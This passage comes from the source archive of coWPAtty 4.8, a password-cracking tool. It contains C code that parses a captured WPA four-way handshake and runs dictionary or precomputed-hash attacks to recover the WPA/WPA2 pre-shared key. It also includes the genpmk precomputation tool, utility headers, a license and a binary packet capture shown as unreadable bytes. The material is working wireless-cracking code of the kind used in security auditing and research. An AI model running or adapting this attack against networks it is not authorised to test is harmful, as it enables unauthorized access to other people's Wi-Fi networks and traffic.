(opt->verbose > 1) { printf("Calculating hmac-MD5 Key MIC for this " "frame.\n"); } if (opt->nonstrict == 0) { hmac_hash(cdata->ver, ptkset->mic_key, 16, cdata->eapolframe, sizeof(cdata->eapolframe), keymic); } else { hmac_hash(cdata->ver, ptkset->mic_key, 16, cdata->eapolframe, cdata->eapolframe_size, keymic); } if (opt->verbose > 2) { printf("Calculated MIC with \"%s\" is", passphrase); lamont_hdump(keymic, sizeof(keymic)); } if (memcmp(&cdata->keymic, &keymic, sizeof(keymic)) == 0) { return 0; } else { continue; } } return 1; } int main(int argc, char **argv) { struct user_opt opt; struct crack_data cdata; struct capture_data capdata; struct wpa_eapol_key *eapkeypacket; u8 eapolkey_nomic[99]; struct timeval start, end; int ret; char passphrase[MAXPASSLEN + 1]; printf("%s %s - WPA-PSK dictionary attack. \n", PROGNAME, VER); memset(&opt, 0, sizeof(struct user_opt)); memset(&capdata, 0, sizeof(struct capture_data)); memset(&cdata, 0, sizeof(struct crack_data)); memset(&eapolkey_nomic, 0, sizeof(eapolkey_nomic)); /* Collect and test command-line arguments */ parseopts(&opt, argc, argv); testopts(&opt); printf("\n"); /* Populate capdata struct */ strncpy(capdata.pcapfilename, opt.pcapfile, sizeof(capdata.pcapfilename)); if (openpcap(&capdata) != 0) { printf("Unsupported or unrecognized pcap file.\n"); exit(-1); } /* populates global *packet */ while (getpacket(&capdata) > 0) { if (opt.verbose > 2) { lamont_hdump(packet, h->len); } /* test packet for data that we are looking for */ if (memcmp(&packet[capdata.l2type_offset], DOT1X_LLCTYPE, 2) == 0 && (h->len > capdata.l2type_offset + sizeof(struct wpa_eapol_key))) { /* It's a dot1x frame, process it */ handle_dot1x(&cdata, &capdata, &opt); if (cdata.aaset && cdata.spaset && cdata.snonceset && cdata.anonceset && cdata.keymicset && cdata.eapolframeset) { /* We've collected everything we need. */ break; } } } closepcap(&capdata); if (!(cdata.aaset && cdata.spaset && cdata.snonceset && cdata.anonceset && cdata.keymicset && cdata.eapolframeset)) { printf("End of pcap capture file, incomplete four-way handshake " "exchange. Try using a\ndifferent capture.\n"); exit(-1); } else { if (cdata.ver == WPA_KEY_INFO_TYPE_HMAC_SHA1_AES) { printf("Collected all necessary data to mount crack" " against WPA2/PSK passphrase.\n"); } else if (cdata.ver == WPA_KEY_INFO_TYPE_HMAC_MD5_RC4) { printf("Collected all necessary data to mount crack" " against WPA/PSK passphrase.\n"); } } if (opt.verbose > 1) { dump_all_fields(cdata, &opt); } if (opt.checkonly) { /* Don't attack the PSK, just return non-error return code */ return 0; } /* Zero mic and length data for hmac-md5 calculation */ eapkeypacket = (struct wpa_eapol_key *)&cdata.eapolframe[EAPDOT1XOFFSET]; memset(&eapkeypacket->key_mic, 0, sizeof(eapkeypacket->key_mic)); if (opt.nonstrict == 0) { eapkeypacket->key_data_length = 0; } printf("Starting dictionary attack. Please be patient.\n"); fflush(stdout); signal(SIGINT, cleanup); signal(SIGTERM, cleanup); signal(SIGQUIT, cleanup); gettimeofday(&start, 0); if (!IsBlank(opt.hashfile)) { ret = hashfile_attack(&opt, passphrase, &cdata); } else if (!IsBlank(opt.dictfile)) { ret = dictfile_attack(&opt, passphrase, &cdata); } else { usage("Must specify dictfile or hashfile (-f or -d)"); exit(-1); } if (ret == 0) { printf("\nThe PSK is \"%s\".\n", passphrase); gettimeofday(&end, 0); printstats(start, end, wordstested); return 0; } else { printf("Unable to identify the PSK from the dictionary file. " "Try expanding your\npassphrase list, and double-check" " the SSID. Sorry it didn't work out.\n"); gettimeofday(&end, 0); printstats(start, end, wordstested); return 1; } return 1; } cowpatty-4.8/genpmk.c000644 000765 000024 00000015611 13316751752 015523 0ustar00jwrightstaff000000 000000 /* * genpmk - Generate a file with precomputed PMK's and words * * Copyright (c) 2004-2018, Joshua Wright * * This software may be modified and distributed under the terms * of the BSD-3-clause license. See the LICENSE file for details. */ #include #include #include #include #include #include #include #include #include #include #include "cowpatty.h" #include "common.h" #include "utils.h" #include "sha1.h" #define PROGNAME "genpmk" #define VER "1.3" /* Globals */ int sig = 0; /* Used for handling signals */ char *words; /* Prototypes */ void usage(char *message); int nextword(char *word, FILE * fp); void usage(char *message) { if (strlen(message) > 0) { printf("%s: %s\n", PROGNAME, message); } printf("Usage: %s [options]\n", PROGNAME); printf("\n" "\t-f \tDictionary file\n" "\t-d \tOutput hash file\n" "\t-s \tNetwork SSID\n" "\t-h \tPrint this help information and exit\n" "\t-v \tPrint verbose information (more -v for more verbosity)\n" "\t-V \tPrint program version and exit\n" "\n"); printf("After precomputing the hash file, run cowpatty with the -d " "argument.\n"); } void cleanup() { /* lame-o-meter++ */ sig = 1; } int nextword(char *word, FILE * fp) { if (fgets(word, MAXPASSLEN + 1, fp) == NULL) { return (-1); } /* Remove newline */ word[strlen(word) - 1] = '\0'; if (feof(fp)) { return (-1); } return (strlen(word)); } int main(int argc, char **argv) { int fret = 0, c, ret; unsigned long int wordstested=0; float elapsed = 0; char passphrase[MAXPASSLEN + 1]; struct user_opt opt; struct hashdb_head hf_header; struct hashdb_rec rec; struct stat teststat; FILE *fpin = NULL, *fpout = NULL; struct timeval start, end; u8 pmk[32]; printf("%s %s - WPA-PSK precomputation attack. \n", PROGNAME, VER); memset(&opt, 0, sizeof(opt)); memset(&hf_header, 0, sizeof(hf_header)); signal(SIGINT, cleanup); signal(SIGTERM, cleanup); signal(SIGQUIT, cleanup); /* Collect and test command-line arguments */ while ((c = getopt(argc, argv, "f:d:s:hvV")) != EOF) { switch(c) { case 'f': strncpy(opt.dictfile, optarg, sizeof(opt.dictfile)); break; case 'd': strncpy(opt.hashfile, optarg, sizeof(opt.hashfile)); break; case 's': strncpy(opt.ssid, optarg, sizeof(opt.ssid)); break; case 'h': usage(""); exit(0); case 'v': opt.verbose++; break; case 'V': printf("$Id: genpmk.c,v 4.1 2008-03-20 16:49:38 jwright Exp $\n"); exit(0); } } if (IsBlank(opt.dictfile)) { usage("Must specify a dictionary file with -f"); exit(1); } if (IsBlank(opt.hashfile)) { usage("Must specify an output hasfile with -d"); exit(1); } if (IsBlank(opt.ssid)) { usage("Must specify a SSID with -s"); exit(1); } /* Open the dictionary file */ if (*opt.dictfile == '-') { printf("Using STDIN for words.\n"); fpin = stdin; } else { fpin = fopen(opt.dictfile, "r"); if (fpin == NULL) { perror("fopen"); exit(-1); } } /* stat the hashfile, if it exists, print a message and check to ensure specified SSID matches header information. If so, append new words to the end of the hashdb file. If the file does not exist, populate the hashdb_head record and create the file. */ ret = stat(opt.hashfile, &teststat); if (errno == ENOENT || teststat.st_size == 0) { /* File does not exist or is empty, populate header and create */ printf("File %s does not exist, creating.\n", opt.hashfile); memcpy(hf_header.ssid, opt.ssid, strlen(opt.ssid)); hf_header.ssidlen = strlen(opt.ssid); hf_header.magic = GENPMKMAGIC; fpout = fopen(opt.hashfile, "wb"); if (fpout == NULL) { perror("fopen"); exit(-1); } if (fwrite(&hf_header, sizeof(hf_header), 1, fpout) != 1) { perror("fwrite"); exit(-1); } } else { /* File does exist, append to EOF after matching SSID */ fpout = fopen(opt.hashfile, "r+b"); if (fpout == NULL) { perror("fopen"); exit(-1); } if (fread(&hf_header, sizeof(hf_header), 1, fpout) != 1) { perror("fread"); exit(-1); } if (fclose(fpout) != 0) { perror("fclose"); exit(-1); } if (memcmp(opt.ssid, hf_header.ssid, hf_header.ssidlen) != 0) { fprintf(stderr, "Specified SSID \"%s\" and the SSID in " "the output file (\"%s\") do not match.\nCreate" " a new file, or change SSID to match.\n", opt.ssid, hf_header.ssid); exit(-1); } printf("File %s exists, appending new data.\n", opt.hashfile); if (fopen(opt.hashfile, "ab") == NULL) { perror("fopen"); exit(-1); } } /* Populate capdata struct */ gettimeofday(&start, 0); while (feof(fpin) == 0 && sig == 0) { /* Populate "passphrase" with the next word */ fret = nextword(passphrase, fpin); if (fret < 0) { break; } if (opt.verbose > 1) { printf("Testing passphrase: %s\n", passphrase); } /* * Test length of word. IEEE 802.11i indicates the passphrase must be * at least 8 characters in length, and no more than 63 characters in * length. */ if (fret < 8 || fret > 63) { if (opt.verbose) { printf("Invalid passphrase length: %s (%zd).\n", passphrase, strlen(passphrase)); } continue; } else { /* This word is good, increment the words tested counter */ wordstested++; } /* Status display */ if ((wordstested % 1000) == 0) { printf("key no. %ld: %s\n", wordstested, passphrase); fflush(stdout); } if (opt.verbose > 1) { printf("Calculating PMK for \"%s\".\n", passphrase); } pbkdf2_sha1(passphrase, opt.ssid, strlen(opt.ssid), 4096, pmk, sizeof(pmk), USECACHED); if (opt.verbose > 2) { printf("PMK is"); lamont_hdump(pmk, sizeof(pmk)); } /* Populate record with PMK and record length */ memcpy(rec.pmk, pmk, sizeof(pmk)); rec.rec_size = (strlen(passphrase) + sizeof(rec.rec_size) + sizeof(rec.pmk)); /* Write the record contents to the file */ if (fwrite(&rec.rec_size, sizeof(rec.rec_size), 1, fpout) != 1) { perror("fwrite"); break; } if (fwrite(passphrase, strlen(passphrase), 1, fpout) != 1) { perror("fwrite"); break; } if (fwrite(rec.pmk, sizeof(rec.pmk), 1, fpout) != 1) { perror("fwrite"); break; } } if (fclose(fpin) != 0) { perror("fclose"); exit(-1); } if (fclose(fpout) != 0) { perror("fclose"); exit(-1); } gettimeofday(&end, 0); /* print time elapsed */ if (end.tv_usec < start.tv_usec) { end.tv_sec -= 1; end.tv_usec += 1000000; } end.tv_sec -= start.tv_sec; end.tv_usec -= start.tv_usec; elapsed = end.tv_sec + end.tv_usec / 1000000.0; printf("\n%lu passphrases tested in %.2f seconds: %.2f passphrases/" "second\n", wordstested, elapsed, wordstested / elapsed); return (0); } cowpatty-4.8/COPYING000644 000765 000024 00000003026 13316751752 015126 0ustar00jwrightstaff000000 000000 Copyright (c) 2018, Joshua Wright All rights reserved. Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met: 1. Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer. 2. Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution. 3. Neither the names of the above authors nor the names of contributors may be used to endorse or promote products derived from this software without specific prior written permission. THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDER AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. cowpatty-4.8/utils.c000644 000765 000024 00000007030 13316751752 015376 0ustar00jwrightstaff000000 000000 /* * coWPAtty - Brute-force dictionary attack against WPA-PSK. * * Copyright (c) 2004-2018, Joshua Wright * * This software may be modified and distributed under the terms * of the BSD-3-clause license. See the LICENSE file for details. */ /* * Significant code is graciously taken from the following: * wpa_supplicant by Jouni Malinen. This tool would have been MUCH more * difficult for me if not for this code. Thanks Jouni. */ #include #include #include #include #include #include #include #include /* for ntohs() */ #include #include "utils.h" #include "radiotap.h" /* A better version of hdump, from Lamont Granquist. Modified slightly by Fyodor (fyodor@DHP.com) */ void lamont_hdump(unsigned char *bp, unsigned int length) { /* stolen from tcpdump, then kludged extensively */ static const char asciify[] = "................................ !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~................................................................................................................................."; const unsigned short *sp; const unsigned char *ap; unsigned int i, j; int nshorts, nshorts2; int padding; printf("\n\t"); padding = 0; sp = (unsigned short *)bp; ap = (unsigned char *)bp; nshorts = (unsigned int)length / sizeof(unsigned short); nshorts2 = (unsigned int)length / sizeof(unsigned short); i = 0; j = 0; while (1) { while (--nshorts >= 0) { printf(" %04x", ntohs(*sp)); sp++; if ((++i % 8) == 0) break; } if (nshorts < 0) { if ((length & 1) && (((i - 1) % 8) != 0)) { printf(" %02x ", *(unsigned char *)sp); padding++; } nshorts = (8 - (nshorts2 - nshorts)); while (--nshorts >= 0) { printf(" "); } if (!padding) printf(" "); } printf(" "); while (--nshorts2 >= 0) { printf("%c%c", asciify[*ap], asciify[*(ap + 1)]); ap += 2; if ((++j % 8) == 0) { printf("\n\t"); break; } } if (nshorts2 < 0) { if ((length & 1) && (((j - 1) % 8) != 0)) { printf("%c", asciify[*ap]); } break; } } if ((length & 1) && (((i - 1) % 8) == 0)) { printf(" %02x", *(unsigned char *)sp); printf(" %c", asciify[*ap]); } printf("\n"); } int IsBlank(char *s) { int len, i; if (s == NULL) { return (1); } len = strlen(s); if (len == 0) { return (1); } for (i = 0; i < len; i++) { if (s[i] != ' ') { return (0); } } return (0); } char *printmac(unsigned char *mac) { static char macstring[18]; memset(&macstring, 0, sizeof(macstring)); (void)snprintf(macstring, sizeof(macstring), "%02x:%02x:%02x:%02x:%02x:%02x", mac[0], mac[1], mac[2], mac[3], mac[4], mac[5]); return (macstring); } /* Determine radiotap data length (including header) and return offset for the beginning of the 802.11 header */ int radiotap_offset(pcap_t *p, struct pcap_pkthdr *h) { uint8_t *radiotapp = NULL; struct ieee80211_radiotap_header *rtaphdr; int rtaphdrlen=0; /* Grab a packet to examine radiotap header */ if (pcap_next_ex(p, &h, (const u_char **)radiotapp) > -1) { rtaphdr = (struct ieee80211_radiotap_header *)radiotapp; rtaphdrlen = le16_to_cpu(rtaphdr->it_len); /* rtap is LE */ /* Sanity check on header length, 10 bytes is min 802.11 len */ if (rtaphdrlen > (h->len - 10)) { return -2; /* Bad radiotap data */ } return rtaphdrlen; } return -1; } cowpatty-4.8/common.h000644 000765 000024 00000002722 13316751752 015536 0ustar00jwrightstaff000000 000000 /* * coWPAtty - Brute-force dictionary attack against WPA-PSK. * * Copyright (c) 2004-2018, Joshua Wright * * This software may be modified and distributed under the terms * of the BSD-3-clause license. See the LICENSE file for details. */ /* * Significant code is graciously taken from the following: * wpa_supplicant by Jouni Malinen. This tool would have been MUCH more * difficult for me if not for this code. Thanks Jouni. */ #ifndef COMMON_H #define COMMON_H #if defined(__FreeBSD__) # include # define bswap_16 bswap16 # define bswap_32 bswap32 # define bswap_64 bswap64 #elif defined(__APPLE__) # include # include # define bswap_16 OSSwapBigToHostInt16 # define bswap_32 OSSwapBigToHostInt32 # define bswap_64 OSSwapBigToHostInt64 #else # include # include #endif #if __BYTE_ORDER == __LITTLE_ENDIAN #define le_to_host16(n) (n) #define host_to_le16(n) (n) #define be_to_host16(n) bswap_16(n) #define host_to_be16(n) bswap_16(n) #else #define le_to_host16(n) bswap_16(n) #define host_to_le16(n) bswap_16(n) #define be_to_host16(n) (n) #define host_to_be16(n) (n) #endif #ifndef ETH_ALEN #define ETH_ALEN 6 #endif #include typedef uint64_t u64; typedef uint32_t u32; typedef uint16_t u16; typedef uint8_t u8; typedef int64_t s64; typedef int32_t s32; typedef int16_t s16; typedef int8_t s8; #define GENPMKMAGIC 0x43575041 #endif /* COMMON_H */ cowpatty-4.8/radiotap.h000644 000765 000024 00000017472 13316751752 016061 0ustar00jwrightstaff000000 000000 /* $FreeBSD: src/sys/net80211/ieee80211_radiotap.h,v 1.5 2005/01/22 20:12:05 sam Exp $ */ /* $NetBSD: ieee80211_radiotap.h,v 1.11 2005/06/22 06:16:02 dyoung Exp $ */ /*- * Copyright (c) 2003, 2004 David Young. All rights reserved. * * Redistribution and use in source and binary forms, with or without * modification, are permitted provided that the following conditions * are met: * 1. Redistributions of source code must retain the above copyright * notice, this list of conditions and the following disclaimer. * 2. Redistributions in binary form must reproduce the above copyright * notice, this list of conditions and the following disclaimer in the * documentation and/or other materials provided with the distribution. * 3. The name of David Young may not be used to endorse or promote * products derived from this software without specific prior * written permission. * * THIS SOFTWARE IS PROVIDED BY DAVID YOUNG ``AS IS'' AND ANY * EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, * THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A * PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL DAVID * YOUNG BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, * EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED * TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, * DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND * ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, * OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY * OF SUCH DAMAGE. */ #ifndef RADIOTAP_H #define RADIOTAP_H /* Kluge the radiotap linktype for now if we don't have it */ #ifndef LNX_ARPHRD_IEEE80211_RADIOTAP #define LNX_ARPHRD_IEEE80211_RADIOTAP 803 #endif /* Radiotap header version (from official NetBSD feed) */ #define IEEE80211RADIOTAP_VERSION "1.5" /* Base version of the radiotap packet header data */ #define PKTHDR_RADIOTAP_VERSION 0 /* The radio capture header precedes the 802.11 header. */ struct ieee80211_radiotap_header { u_int8_t it_version; /* Version 0. Only increases * for drastic changes, * introduction of compatible * new fields does not count. */ u_int8_t it_pad; u_int16_t it_len; /* length of the whole * header in bytes, including * int_version, it_pad, * it_len, and data fields. */ u_int32_t it_present; /* A bitmap telling which * fields are present. Set bit 31 * (0x80000000) to extend the * bitmap by another 32 bits. * Additional extensions are made * by setting bit 31. */ }; /* Name Data type Units * ---- --------- ----- * * IEEE80211_RADIOTAP_TSFT u_int64_t microseconds * * Value in microseconds of the MAC's 64-bit 802.11 Time * Synchronization Function timer when the first bit of the * MPDU arrived at the MAC. For received frames, only. * * IEEE80211_RADIOTAP_CHANNEL 2 x u_int16_t MHz, bitmap * * Tx/Rx frequency in MHz, followed by flags (see below). * * IEEE80211_RADIOTAP_FHSS u_int16_t see below * * For frequency-hopping radios, the hop set (first byte) * and pattern (second byte). * * IEEE80211_RADIOTAP_RATE u_int8_t 500kb/s * * Tx/Rx data rate * * IEEE80211_RADIOTAP_DBM_ANTSIGNAL int8_t decibels from * one milliwatt (dBm) * * RF signal power at the antenna, decibel difference from * one milliwatt. * * IEEE80211_RADIOTAP_DBM_ANTNOISE int8_t decibels from * one milliwatt (dBm) * * RF noise power at the antenna, decibel difference from one * milliwatt. * * IEEE80211_RADIOTAP_DB_ANTSIGNAL u_int8_t decibel (dB) * * RF signal power at the antenna, decibel difference from an * arbitrary, fixed reference. * * IEEE80211_RADIOTAP_DB_ANTNOISE u_int8_t decibel (dB) * * RF noise power at the antenna, decibel difference from an * arbitrary, fixed reference point. * * IEEE80211_RADIOTAP_LOCK_QUALITY u_int16_t unitless * * Quality of Barker code lock. Unitless. Monotonically * nondecreasing with "better" lock strength. Called "Signal * Quality" in datasheets. (Is there a standard way to measure * this?) * * IEEE80211_RADIOTAP_TX_ATTENUATION u_int16_t unitless * * Transmit power expressed as unitless distance from max * power set at factory calibration. 0 is max power. * Monotonically nondecreasing with lower power levels. * * IEEE80211_RADIOTAP_DB_TX_ATTENUATION u_int16_t decibels (dB) * * Transmit power expressed as decibel distance from max power * set at factory calibration. 0 is max power. Monotonically * nondecreasing with lower power levels. * * IEEE80211_RADIOTAP_DBM_TX_POWER int8_t decibels from * one milliwatt (dBm) * * Transmit power expressed as dBm (decibels from a 1 milliwatt * reference). This is the absolute power level measured at * the antenna port. * * IEEE80211_RADIOTAP_FLAGS u_int8_t bitmap * * Properties of transmitted and received frames. See flags * defined below. * * IEEE80211_RADIOTAP_ANTENNA u_int8_t antenna index * * Unitless indication of the Rx/Tx antenna for this packet. * The first antenna is antenna 0. * * IEEE80211_RADIOTAP_FCS u_int32_t data * * FCS from frame in network byte order. */ enum ieee80211_radiotap_type { IEEE80211_RADIOTAP_TSFT = 0, IEEE80211_RADIOTAP_FLAGS = 1, IEEE80211_RADIOTAP_RATE = 2, IEEE80211_RADIOTAP_CHANNEL = 3, IEEE80211_RADIOTAP_FHSS = 4, IEEE80211_RADIOTAP_DBM_ANTSIGNAL = 5, IEEE80211_RADIOTAP_DBM_ANTNOISE = 6, IEEE80211_RADIOTAP_LOCK_QUALITY = 7, IEEE80211_RADIOTAP_TX_ATTENUATION = 8, IEEE80211_RADIOTAP_DB_TX_ATTENUATION = 9, IEEE80211_RADIOTAP_DBM_TX_POWER = 10, IEEE80211_RADIOTAP_ANTENNA = 11, IEEE80211_RADIOTAP_DB_ANTSIGNAL = 12, IEEE80211_RADIOTAP_DB_ANTNOISE = 13, IEEE80211_RADIOTAP_FCS = 14, IEEE80211_RADIOTAP_EXT = 31, }; /* Channel flags. */ #define IEEE80211_CHAN_TURBO 0x0010 /* Turbo channel */ #define IEEE80211_CHAN_CCK 0x0020 /* CCK channel */ #define IEEE80211_CHAN_OFDM 0x0040 /* OFDM channel */ #define IEEE80211_CHAN_2GHZ 0x0080 /* 2 GHz spectrum channel. */ #define IEEE80211_CHAN_5GHZ 0x0100 /* 5 GHz spectrum channel */ #define IEEE80211_CHAN_PASSIVE 0x0200 /* Only passive scan allowed */ #define IEEE80211_CHAN_DYN 0x0400 /* Dynamic CCK-OFDM channel */ #define IEEE80211_CHAN_GFSK 0x0800 /* GFSK channel (FHSS PHY) */ /* For IEEE80211_RADIOTAP_FLAGS */ #define IEEE80211_RADIOTAP_F_CFP 0x01 /* sent/received * during CFP */ #define IEEE80211_RADIOTAP_F_SHORTPRE 0x02 /* sent/received * with short * preamble */ #define IEEE80211_RADIOTAP_F_WEP 0x04 /* sent/received * with WEP encryption */ #define IEEE80211_RADIOTAP_F_FRAG 0x08 /* sent/received * with fragmentation */ #define IEEE80211_RADIOTAP_F_FCS 0x10 /* frame includes FCS */ #define IEEE80211_RADIOTAP_F_DATAPAD 0x20 /* frame has padding between * 802.11 header and payload * (to 32-bit boundary) */ /* Ugly macro to convert literal channel numbers into their mhz equivalents * There are certianly some conditions that will break this (like feeding it '30') * but they shouldn't arise since nothing talks on channel 30. */ #define ieee80211chan2mhz(x) \ (((x) <= 14) ? \ (((x) == 14) ? 2484 : ((x) * 5) + 2407) : \ ((x) + 1000) * 5) #endif /* RADIOTAP_H */ cowpatty-4.8/file_magic000644 000765 000024 00000000237 13316751752 016076 0ustar00jwrightstaff000000 000000 # Append the contents of this file to /etc/file/magic to use the "file" # command to identify coWPAtty hash files 0 ulelong 0x43575041 coWPAtty 3.0 hash file cowpatty-4.8/._wpa2psk-linksys.dump000644 000765 000024 00000000260 13316751752 020255 0ustar00jwrightstaff000000 000000 Mac OS X  2~ATTRcom.apple.lastuseddate#PSZ¢!(cowpatty-4.8/wpa2psk-linksys.dump000644 000765 000024 00000127255 13316751752 020056 0ustar00jwrightstaff000000 000000 òidYDH ¤U ¤@dYD UdYDH ¤U ¤PdYD UdYDBU ¤f! @b{ `҉ Qv:'{u2h\$y8.D3acrp[R|P`$c\[ Įe&(C7Lmy@Zy w@(ƩfNn0;ekh.~Ce&h߁\=V41*oϾ61[J)bv@d*TI"ߺ ݐ%줱1yS`5qtLиҏ99[V r"N;kfE1@R;07#DgE6{z=qC!Bg5uC8 [ls+72ĺAZAՄx lR6e!9W/ZQH_W+dt Q1Y\ V@xirZQ/H[jYjKқLƑ/EX6Du 5-\!>h9V#J4g$]VCM*6y$y8i5,I sИEzo HnT U8vU: >T0V]U9kC*0(dYDK UdYD:U ¤ ¤&Pe. cr PtqLHfo|q~L"80 WvY5Wsi4,UjoJqm/ @n>S&qeGѶdYD ¤U ¤._ Aamd"$`QdYD UdYDQQA ¤Uf . -XM',zfj5skpS,֓[YdYD^^BU ¤f& ^U7Y^0@LV% 0v|ZJC8$e̘5vTSC>HdYDmm ¤ ¤P'h;%d1linksys US    *0 dYDmm ¤ ¤'X=%d1linksys US    *0 dYDH ¤U ¤PdYD UdYDH ¤U ¤`dYD UdYDmm ¤ ¤(h>%d1linksys US    *0 dYD5H ¤U ¤pdYD3 UdYDH ¤U ¤dYD\ UdYDmm ¤ ¤p(hv@%d1linksys US    *0 dYDwH ¤U ¤dYDd UdYDH ¤U ¤dYDY UdYD:mm ¤ ¤(hB%d1linksys US    *0 dYD>H ¤U ¤dYD? UdYDǠ H ¤U ¤dYD UdYD mm ¤ ¤0)hC%d1linksys US    *0 dYDn H ¤U ¤ПdYDo UdYDZ mm ¤ ¤)h&E%d1linksys US    *0 dYDW : ¤U ¤dYDY UdYD\ :U ¤ ¤)dYDa AA: ¤U ¤  linksys 0(dYDb UdYDg $$:U ¤ ¤) dYD :U ¤ ¤)uð8,"M_g.YpXJY)0(dYD UdYDZ :U ¤ ¤)ð8,"M_gH: ¤U ¤0dYDK? UdYDH: ¤U ¤@dYD UdYDxmm ¤ ¤*hI%d1linksys US    *0 dYDH: ¤U ¤PdYD UdYD=.H: ¤U ¤`dYDM2 UdYDxXmm ¤ ¤P+hfK%d1linksys US    *0 dYD\H: ¤U ¤pdYD^ UdYDH: ¤U ¤dYD UdYDvmm ¤ ¤+hL%d1linksys US    *0 dYDH: ¤U ¤dYD UdYDNH: ¤U ¤dYDP UdYDuxmm ¤ ¤,hN%d1linksys US    *0 dYD }H: ¤U ¤dYDA~ UdYDH: ¤U ¤dYDX UdYDvmm ¤ ¤p,hP%d1linksys US    *0 dYD H: ¤U ¤dYD UdYDkH: ¤U ¤dYD}o UdYDtmm ¤ ¤,hQ%d1linksys US    *0 dYDܜH: ¤U ¤dYD UdYD H: ¤U ¤dYD UdYDv( mm ¤ ¤0-h6S%d1linksys US    *0 dYD, H: ¤U ¤dYD. UdYDE H: ¤U ¤ dYDu UdYDr mm ¤ ¤-hT%d1linksys US    *0 dYDͼ H: ¤U ¤0dYD UdYD H: ¤U ¤@dYD UdYDsH mm ¤ ¤-hVV%d1linksys US    *0 dYDL H: ¤U ¤PdYDN UdYDH: ¤U ¤`dYD UdYDpmm ¤ ¤P.hW%d1linksys US    *0 dYDH: ¤U ¤pdYD UdYDH: ¤U ¤dYDz UdYD'mm ¤ ¤.wY%d1linksys US    *0 dYD ,H: ¤U ¤dYDC- UdYDH: ¤U ¤dYDڍ UdYD/mm ¤ ¤/h[%d1linksys US    *0 dYDiBU ¤f / bT[Iqθ^hD6&ng(L?DUq XsKV긂Oʜ)̶Oǁֺ|ZeVP뀧~FW#HTxhUQP 3Ǚ ah\F2[TN <oApJsNO2(^'VTfn|xZk'_Ⱥ+uirj! Xڔ `+| .~ }^1!q,Re ' Atxڨ>)Ls2= bE V쌨8?}]Zx|>f>\jMA=M8'BU{Z*wL3gTd1pIGF;;bHvXEIq 4DGH|$j)ܬI^^$ 45-qz:+hړ Oxs:V78**Ayf -ս="Ǜ[JE(NMŶ8a?!ͫ6Vj,`9N;_@ZM8JMVb͵JR?{4j?w2ݾeFN"!T/ʂsaE,S/);! Q &{GU{Wb Zҭ[]*BJ`?s;Y"(+If/ 2`@;6ɰ~fJUHD-S::ᷜEta3rBZ}_?ԍ`:t;:@fK6r]xֿn$q!]]k&ҽA(o&1.D6s.3rCMǥWR&]Qgl?\snjƮϣLuFmRdL;tX%5de;*xϢمe*j.zZ=bJͽY5UT05_ֳIIOsɇzMK 0tPөħ(9"|&9vG]c)U ~{δ,,š~/VU2kH?}h8Rܟ1kmi/bb^Kw$^v.*dYDH: ¤U ¤dYD UdYDH: ¤U ¤dYD UdYDG%H: ¤U ¤dYD~& UdYDH: ¤U ¤dYD UdYD.Fmm ¤ ¤/h\%d1linksys US    *0 dYDJH: ¤U ¤dYDK UdYDH: ¤U ¤dYD UdYD A: ¤Uf0 +N^vf~0P+_f/'[Uab ܐb#;Q18r4GMD} ?+EiI1m+ZlAo63PKE1x0?co祏Iu.r׾dYD0mm ¤ ¤/h&^%d1linksys US    *0 dYD8H: ¤U ¤dYD UdYDwH: ¤U ¤dYD} UdYDcH: ¤U ¤dYDhH: ¤U ¤dYDi UdYDH: ¤U ¤dYD UdYDH: ¤U ¤dYDH: ¤U ¤dYD UdYD/ H: ¤U ¤dYD0 UdYD H: ¤U ¤dYDш H: ¤U ¤dYD UdYD H: ¤U ¤dYDݏ UdYD H: ¤U ¤dYD H: ¤U ¤dYD UdYD H: ¤U ¤dYD UdYD H: ¤U ¤dYD H: ¤U ¤dYD˩ UdYDj H: ¤U ¤dYD UdYD6H: ¤U ¤dYD_=mm ¤ ¤2g%d1linksys US    *0 dYD0?H: ¤U ¤dYDq@ UdYDH: ¤U ¤dYD^ UdYD@H: ¤U ¤dYDŅH: ¤U ¤dYD UdYDH: ¤U ¤ dYDӌ UdYD@H: ¤U ¤0dYDDH: ¤U ¤0dYDn UdYDH: ¤U ¤@dYDJ UdYDH: ¤U ¤PdYDH: ¤U ¤PdYDǨ UdYDnH: ¤U ¤`dYD UdYD<1H: ¤U ¤pdYDV6H: ¤U ¤pdYD7 UdYD'<H: ¤U ¤dYD]= UdYD:H: ¤U ¤dYDXH: ¤U ¤dYD~ UdYD)H: ¤U ¤dYD^ UdYDxqPiTX"tX'2_[dYD UdYD^^B ¤U 